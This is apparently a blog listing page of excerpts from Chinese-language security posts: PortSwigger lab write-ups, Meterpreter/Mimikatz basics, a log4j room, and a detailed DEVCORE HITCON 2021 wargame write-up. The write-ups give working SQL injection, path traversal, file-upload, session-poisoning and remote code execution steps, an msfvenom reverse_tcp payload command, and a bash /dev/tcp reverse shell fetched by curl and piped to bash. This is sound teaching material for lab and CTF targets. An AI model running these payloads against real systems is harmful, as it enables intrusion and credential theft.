Server-side template injection (PortSwigger Writeup)

Lab: Basic server-side template injection 題目敘述 This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template. To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory. 題目解釋 題目說是 ERB 的 SSTI 解答 https://acc21f1d1e22b8ffc0390b0f0087005f.web-security-academy.net/ ?message= 會回傳 49 https://acc21f1d1e22b8ffc0390b0f0087005f.web-security-academy.net/ ?message= 可以取得使用者名稱 https://acc21f1d1e22b8ffc0390b0f0087005f.web-security-academy.net/ ?message= 順利刪除檔案 Lab: Basic server-side template injection (code context) 題目敘述 This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory. ...

2022-02-06 · 12 分鐘 · steven

Information disclosure (PortSwigger Writeup)

Lab: Information disclosure in error messages 題目敘述 This lab’s verbose error messages reveal that it is using a vulnerable version of a third-party framework. To solve the lab, obtain and submit the version number of this framework. 題目解釋 想辦法讓他噴 Error 可能可以洩漏版本號 解答 https://acf81fed1ef0e1cbc040196e00b300c0.web-security-academy.net/product?productId=asd 就會噴出 Apache Struts 2 2.3.31 Lab: Information disclosure on debug page 題目敘述 This lab contains a debug page that discloses sensitive information about the application. To solve the lab, obtain and submit the SECRET_KEY environment variable. ...

2022-02-05 · 2 分鐘 · steven

File upload vulnerabilities (PortSwigger Writeup)

Lab: Remote code execution via web shell upload 題目敘述 This lab contains a vulnerable image upload function. It doesn’t perform any validation on the files users upload before storing them on the server’s filesystem. To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner. You can log in to your own account using the following credentials: wiener:peter ...

2022-02-05 · 4 分鐘 · steven

Directory traversal (PortSwigger Writeup)

Lab: File path traversal, simple case 題目敘述 This lab contains a file path traversal vulnerability in the display of product images. To solve the lab, retrieve the contents of the /etc/passwd file. 題目解釋 圖片網址的地方可以任意讀檔,嘗試讀取 /etc/passwd。 解答 觀察一個圖片 https://ac801f311fe78ab8c0bf223f000500bf.web-security-academy.net/image?filename=11.jpg 修改 Filename https://ac801f311fe78ab8c0bf223f000500bf.web-security-academy.net/image?filename=../../../../../../../etc/passwd Lab: File path traversal, traversal sequences blocked with absolute path bypass 題目敘述 This lab contains a file path traversal vulnerability in the display of product images. The application blocks traversal sequences but treats the supplied filename as being relative to a default working directory. ...

2022-02-05 · 2 分鐘 · steven

OS command injection (PortSwigger Writeup)

Lab: OS command injection, simple case 題目敘述 This lab contains an OS command injection vulnerability in the product stock checker. The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response. To solve the lab, execute the whoami command to determine the name of the current user. 題目解釋 要執行 whoami,弱點在 stock checker 解答 Post 設定參數 productId=1%20%26%26%20whoami&storeId=3 Lab: Blind OS command injection with time delays 題目敘述 This lab contains a blind OS command injection vulnerability in the feedback function. ...

2022-02-05 · 3 分鐘 · steven

SQL injection (PortSwigger Writeup)

Lab: SQL injection UNION attack, determining the number of columns returned by the query 題目敘述 This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack. To solve the lab, determine the number of columns returned by the query by performing an SQL injection UNION attack that returns an additional row containing null values. ...

2022-02-05 · 14 分鐘 · steven

Meterpreter 基礎

產 Shell msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP} LPORT={PORT} -f exe -e x86/shikata_ga_nai > {FILE} 執行 記得 Payload 需要修改成相對應的windows/meterpreter/reverse_tcp 常見指令 ls,pwd , mkdir, catBJ4getuid- 取得使用者名稱edit {檔名}- 會直接開啟 vim 可以改檔案sysinfo- 系統資訊getsystem- 如果有過 UAC 的話,有機率可以直接拿 system 執行後輸入 getuid 就可以確認自己是否真的是 system 了ps``migrate {PID}- 可以讓自己爬到 x64 之類的 system 權限上 例如 lsass.exe 的 PIDscreenshot- 截圖 需要是當前使用者,不能是 system 之類upload {檔案} / download {檔案}- upload -> attacker to victim download -> victim to attacker Mimikatz 需要是 system 權限 load kiwi help kiwi lsa_dump_sam取 Hashlsa_dump_secrets- 取明文密碼kiwi_cmd sekurlsa::logonpasswords- 需要先 migrate 到 x64 上

2021-12-26 · 1 分鐘 · steven

Solar, exploiting log4j (Try Hack Me Writeup)

https://tryhackme.com/room/solar 2021 / 12 / 9 公開了 CVE-2021-44228,影響到了 log4j,它的危害程度達到 10,這個漏洞又被稱作 Log4Shell 現在已經有新版的 2.16.0 Release 了,不過又出現了 Log4j2 Recon 透過掃 Port 可以看到有開 3 個 Port,分別是22,111,8983 rustscan -a 10.10.18.186 -r 1-65535 可以用 nmap 做更詳細的掃瞄 nmap -sV -Pn -A -p22,111,8983 10.10.18.186 可以發現 8983 開的是一個 Apache solr 的 Server Discovery 觀察首頁的版本可以知道他是 Solr 8.11.0 觀察 -Dsolr.log.dir 可以看到他的 log Path 是 /var/solr/logs 下載 lab 提供的 solrlogs.zip 檔案,他是一份範例的 Log 檔案 可以觀察到裡面有一個叫做 solr.log 的檔案會紀錄網頁的 Path 相關 Log ...

2021-12-19 · 2 分鐘 · steven

DEVCORE WarGame (Web) for HITCON 2021 Writeup

DEVCORE WarGame (Web) for HITCON 2021 Writeup By Steven Meow URL : https://wargame.devcore.tw/Web : http://web.ctf.devcore.tw/今年與去年一樣,在 HITCON 會場上有 DEVCORE 的擺攤,解 Wargame 就可以換小獎品與 NFT,而且據說今年的題目都是來自現實生活中的真實案例改編,我覺得題目比起去年明顯的簡單了不少。但我還是覺得在 HITCON 辦這種活動不太優 QQ 會害人無法專心聽議程,都在解題。畢竟這種 Conf,我覺得聽議程還是比較重要 Q__Q。 弱點 01 Path Traversal 簡單逛一下網頁會發現是一個印表機的訂購網站觀察進入網頁首頁的 HTTP Request 可以看到一個明顯可疑的 URL- http://web.ctf.devcore.tw/image.php?id=aHBfbTI4M2Zkdy5qcGc= 根據一點點的小直覺,可以猜出 ID 的參數是透過 Base64 編碼的 (因為結尾有出現=)- 解碼後可以看出是圖片的檔名而直接訪問則會出現印表機的圖片- 我們可以合理的猜測這可能有一個任意讀檔,或是 LFI 的漏洞,前提是需要把路徑轉 Base64 再放入 ID- 首先測試 /etc/passwd 透過 echo -n '../../../../../../../etc/passwd' | base64 -w0 可以取得 Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== 再把 Base64 的結果串上網址的 ID,用 curl 送 request 發現可以順利取得 /etc/passwd 而且告訴了我們 Flag 在 php 原始碼裡面至此,可以非常合理的確認我們可以讀檔了我們也可以把指令寫的更直觀一點- curl http://web.ctf.devcore.tw/image.php?id=$(echo -n '../../../../../../../etc/passwd' | base64 -w0) 未來只需要修改路徑就可以快速發送 Requests尋找網頁根目錄- 通常,預設的網頁根目錄會放在 /var/www/html但這個網站看起來有刻意的設計過,所以檔案目標不在這邊 在現代,為了方便,大多數的服務都會透過 Docker 來進行部屬 (特別是 CTF 題目,被打爛了可以快速砍掉重架),而 Docker 通常會透過 Mount 目錄等方法,使 Docker 內外互通- 我們可以透過 /proc/1/mountinfo 或是 /proc/self/mounts 看到一些掛載的資訊 從上面的一堆垃圾可以確認我們真的在 docker 裡面 另外我們可以注意到下面有一些有趣的東西 /usr/share/nginx/images /usr/share/nginx/b8ck3nd /usr/share/nginx/frontend 我們可以合理懷疑原始碼就藏在這幾個路徑裡面取得原始碼- 前端首頁 (後面只寫路徑)curl http://web.ctf.devcore.tw/image.php?id=$(echo -n '../../../../../../../usr/share/nginx/frontend/index.php' | base64 -w0)可以發現裡面有 require_once('include.php');前端 include- /usr/share/nginx/frontend/include.php 就順利取得 Flag 1 了前端 image- /usr/share/nginx/frontend/image.php 可以發現它只是 Base64 解開丟 readfile($file);,所以沒有 LFI ,只能任意讀檔官方報告 - 弱點 02:Broken Access Control 開始玩一下網頁的功能立刻訂購index.php 訂購成功- submit.php 訂單資訊- order.php?id=35163&sig=PFRo8eZYWmnXmM4UJfApOvPZlnBtQoIsoRejgCzlIe5fkPu8FnxhYmD56zlSblHY 雖然我們看到了一些參數,但不需要急著 SQL injection,因為我們可以透過第一個漏洞來讀原始碼,確認有沒有漏洞查看收據- receipt.php?id=35163&sig=PFRo8eZYWmnXmM4UJfApOvPZlnBtQoIsoRejgCzlIe5fkPu8FnxhYmD56zlSblHY 列印- 按下去後會出現一個匯出 PDF 的頁面 匯出 PDF- print.php?id=35163&sig=PFRo8eZYWmnXmM4UJfApOvPZlnBtQoIsoRejgCzlIe5fkPu8FnxhYmD56zlSblHY 觀察以上幾個頁面的原始碼,我們可以快速的發現 print.php 上面有一個 SQL injection 的弱點 php $res = $pdo->query(" SELECT * FROM orders WHERE sig_hash = '$sig_hash' AND id = $id LIMIT 1 ", PDO::FETCH_ASSOC);- 使用者可控 id 的部分我們可以隨意來寫個http://web.ctf.devcore.tw/print.php?sig=1&id=1 or 1=1然後就拿到 Flag 了 ?__?官方報告- 欸好ㄛ,我的方法是一個非預期解的意思,那我們來看一下正規解- http://web.ctf.devcore.tw/order.php?id=1&sig[]= 就拿到 Flag 了 而原理可以看官方報告上有詳述,主要就是因為 sig 參數給予一個 [] 代表陣列,會讓 php 解到爛掉 弱點 04:Use of Less Trusted Source 對,我先寫 4 ,因為我先解出 4 才找到 3 的 剛剛我們找到了一個 SQL injection 的漏洞,所以可以用 SQL injection 來取得所有資料庫裡面的資料所以需要先透過 information_schema 那一串套路去看 SQL 裡面有哪些 DB 、 Table 、 Column 再來選嗎?答案是不用的,因為我們已經有完整的 Source Code 所以可以直接看!觀察檔案- 從最最前面 mount 的資料夾中,我們可以看到其中有一個 b8ck3nd 的資料夾 b8ck3nd/index.php裡面有 include.php , upload.php``b8ck3nd/include.php- 裡面有一段說到,我們的 IP 必須為 ['127.0.0.1', '172.18.11.89'] 才能進入後台,不然會被導向首頁 還有說到,沒有登入的話,會被導到 login.php``b8ck3nd/login.php- 裡面有一段 SELECT * FROM backend_users WHERE username = %s AND password = %s'它的 username 跟 password 都會經過 quote,所以不能從這邊直接的進行 SQL injection 但我們可以確定 Table backend_users 裡面一定有 username, password 這兩個 Column正式 SQL injection- 回到前一題的 SQL injection 如果我們給予 or 1=1 的話,可以取得 Flag2 ,如果給予 or 1=0 的話,則畫面會空白,最無腦的方法就是使用 Boolean based 的 SQL injection 不過由於它回傳的是一個 PDF 檔案,所以 SQLMap 會解到壞掉這邊我使用 import pdftotext 來讀取 PDF 的內容,如果 steven 這個詞出現在 PDF 中,就代表 True ,不然就代表 False 自己刻一個 Binary Search 的 Boolean Based SQL injection Payload 就可以爆出資料庫的所有資料了,我有程式碼但寫得很醜,就先不公布ㄌ XDD。另外一種解法 (Wii Wu 提供)- 其實可以透過 UNION Based 的方法來取 http://web.ctf.devcore.tw/print.php?id=-1 UNION SELECT id as id, username as email, password AS phone ,NULL,NULL,NULL,NULL,NULL,NULL FROM backend_users 至此我們可以取得- username : admin password : u=479_p5jV:Fsq(2回到前面說的 b8ck3nd/include.php- 我們必須要使用 127.0.0.1 或是 172.18.11.89 IP 才能進入後台 最常見的方法是透過修改 X-Forwarded-For 的 Header 來進行達成詳見 : https://devco.re/blog/2014/06/19/client-ip-detection/ 通常大多數人會使用 BurpSuite 進行修改,不過我個人推薦使用更懶人的 Firefox Plugin順利訪問後台 http://web.ctf.devcore.tw/b8ck3nd/login.php- 可以使用上述的帳密進行登入,取得 Flag 4- 官方報告- 好的,看起來很符合 - 但我的 Flag3 去哪了 QQ 弱點 03:SQL Injection 其實我合理猜測是因為我們快速地透過原始碼取得 Column 跟 Table 進行登入,但省略了某些東西,Flag 在裡面。因為至今還沒有出現 SQL injection 的弱點報告,但我們都透過 SQLinjection 取得兩個 Flag 了 XDDDD 接下來我就直接借用 Wii Wu 提供的 Union Based 來寫使用 SQL 取得 DB, Table, Column 的老梗來找 但我想反著找,看看 backend_users 裡面有沒有什麼有趣的其他 Column http://web.ctf.devcore.tw/print.php?id=-1 UNION SELECT NULL, NULL, group_concat(column_name), NULL, NULL, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name='backend_users' 我們可以看到還有一個 description 的 column取得 description 欄位的值即為 Flag- http://web.ctf.devcore.tw/print.php?id=-1 UNION SELECT NULL, NULL, description, NULL, NULL, NULL, NULL, NULL, NULL FROM backend_users 官方報告 - 弱點 05:Unrestricted File Upload 接下來繼續地回到了 Code Review 的環節b8ck3nd/index.php裡面發現會把一些資訊傳到 upload.php``b8ck3nd/upload.php- 程式分成了兩個部分如果透過 GET Method 進入,會回傳一段 JWT,但對於解題沒有任何幫助 下面有一段是沒有任何前端對應的後端 API可以上傳檔案 參數 rename 可以指定檔案名稱 參數 folder 可以指定檔案資料夾會透過 $filename = $folder.'/'.$filename; 直接把資料夾跟檔名進行串接 很值觀的猜測可以用 folder 來進行任意位置寫入所以我們可以隨便上傳一個檔案看看,但要記得帶上 Header 跟 Session Cookie,但當大家看到這篇時,理論上下面的 Session 已經過期ㄌ- echo meow > meow.txt Session Cookie 可以透過瀏覽器 F12 取得 curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=5qh67f4o30aa8r2313gjv8iucd' -F 'file=@meow.txt' -F 'rename=meow.txt' -F 'folder=../../../../../../tmp' http://web.ctf.devcore.tw/b8ck3nd/upload.php上面的 command 丟出去就可以取得 Flag5- 官方報告 - 弱點 06:Local File Inclusion 我覺得這一段是全部裡面最難的部分,我個人卡了超級超級久 首先大家應該會非常直觀的想到如果我把程式碼寫到 frontend/, images/, 或 b8ck3nd,是不是就可以成功地拿到 Webshell 但事實真正的嘗試會發現這些目錄都不可寫回到觀察程式碼的部分- frontend/include.php我們可以發現有一行 require_once('langs/' . $_SESSION['lang'] . '.php'); 而如果我們訪問 frontend/index.php 就會呼叫到 frontend/include.php所以 …… 這邊會是一個 LFI 的漏洞嗎?- LFI 的前提要是 Session 可控 我們可以查資料發現到,PHP 的 Session 資料會放在 /tmp/sess_{SESSION_ID} 我們使用弱點 1 就可以快速的取得目前我們的 Session 資料那我們是不是可以把 Session 資料載下來,自己進行竄改之後達成 LFI 2 RCE 呢?- 假設我們使用弱點 6 寫入一個 Webshell 在 /tmp/meowmeow.php 再來,控制 $_SESSION['lang'] ,設定為 ../../../../../../tmp/meowmeow (在frontend/include.php 會自動幫我們加上 .php) 訪問網頁首頁即可取得 webshell首先我們先下載 curl http://web.ctf.devcore.tw/image.php?id=$(echo -n '../../../../../../../tmp/sess_5qh67f4o30aa8r2313gjv8iucd' | base64 -w0) -o sess_meow- 內容是 lang|s:5:"zh-tw";user_id|s:1:"1"; 就算不懂結構我們也可以猜出zh-tw 是我們需要變更的部分 s:5 是後面接的字串長度所以我們準備一個檔案- lang|s:33:"../../../../../../../tmp/meowmeow";user_id|s:1:"1"; 上傳到 /tmp/sess_meowmeow curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=5qh67f4o30aa8r2313gjv8iucd' -F 'file=@sess_meowmeow' -F 'rename=sess_meowmeow' -F 'folder=../../../../../../tmp' http://web.ctf.devcore.tw/b8ck3nd/upload.php 可以觀察確定上傳正確再準備一個 webshell- `` 命名為 meowmeow.php 上傳到 /tmp/meowmeow.php curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=5qh67f4o30aa8r2313gjv8iucd' -F 'file=@meowmeow.php' -F 'rename=meowmeow.php' -F 'folder=../../../../../../tmp' http://web.ctf.devcore.tw/b8ck3nd/upload.php 確認檔案上傳正確最後我們只需要使用 meowmeow 這個 Session ID 訪問 index.php 即可拿到 Webshell- curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=meowmeow' http://web.ctf.devcore.tw/index.php?meow=ls 當然我們也可以用酷炫的方法拿 Reverse Shell- (需要自備一個有對外 IP 的電腦或 Ngrok,不做這一段也可拿 Flag) 首先在機器上準備一個 s8787 檔案bash -c 'bash -i >& /dev/tcp/{自己的IP}/8787 0>&1'輸入 python3 -m http.server 8000- 開啟一個 Python HTTP Server在自己電腦上開一個 nc 接收- rlwrap nc -nlvp 7877 (沒有 rlwrap 就直接 nc 也可)curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=meowmeow' 'http://web.ctf.devcore.tw/index.php?meow=curl%20http://{自己的IP}:8000/s8787%20%7C%20/bin/bash'執行下去後,會發現 Python HTTP Server 接收到了一個 Request- 我們的 nc 端也收到一個 Reverse Shell- 觀察根目錄的檔案- 我們會發現沒有權限讀 flag,但是我們有一個檔案叫做 readflag,它有 SUID 且 Owner 是 Root 透過 file 觀察可以確定它是一個執行檔 直接執行 ./readflag 即可取得 Flag ...

2021-11-29 · 4 分鐘 · steven

[Day30] Cloud Meow Meow (2021 鐵人賽 – Cloud)

喵喵喵喵喵喵喵喵!!!終於寫完 30 天的文章了,這 30 天中,我們從雲端的概念開始,進入了 Google Cloud 的世界。接著開始介紹了 Google 中的各種運算資源、儲存資源、網路服務,最後介紹了微服務、DevOps 等潮潮設計的方法。 這是我第一次參加鐵人賽,真的非常高興可以完賽,雖然途中真的一度有想放棄的想法發生,每天寫文章真的是一件很累人的事QQ,所以那幾天的文章都非常的短,就當作讓我偷懶一下ㄅ喵喵。 如果過去 30 天的文章內容有任何不事宜,或是講解不清楚的地方,也請大家不吝於留言區告訴我! 最後來講一下我的感言吧,真的非常感謝 Google Cloud 在今年舉辦了 Google Cloud Student Sprint Project,提供了我非常多的資源對於 Google Cloud 方面。我也要很謝謝我當初的 Mentor : Eric 在每周的 Meeting 都讓我問爆,感謝計畫中的所有組員讓我有動力可以完成了這項的計畫,考取到 ACE 證照。 再來我也要感謝 iTHome 舉辦了這個比賽,讓我這個金魚腦在學會這些知識,還沒有完全忘記前就重新用自己的話重新整理了一次!也感謝參加鐵人賽的組員給予我的幫忙與鼓勵!

2021-10-15 · 1 分鐘 · steven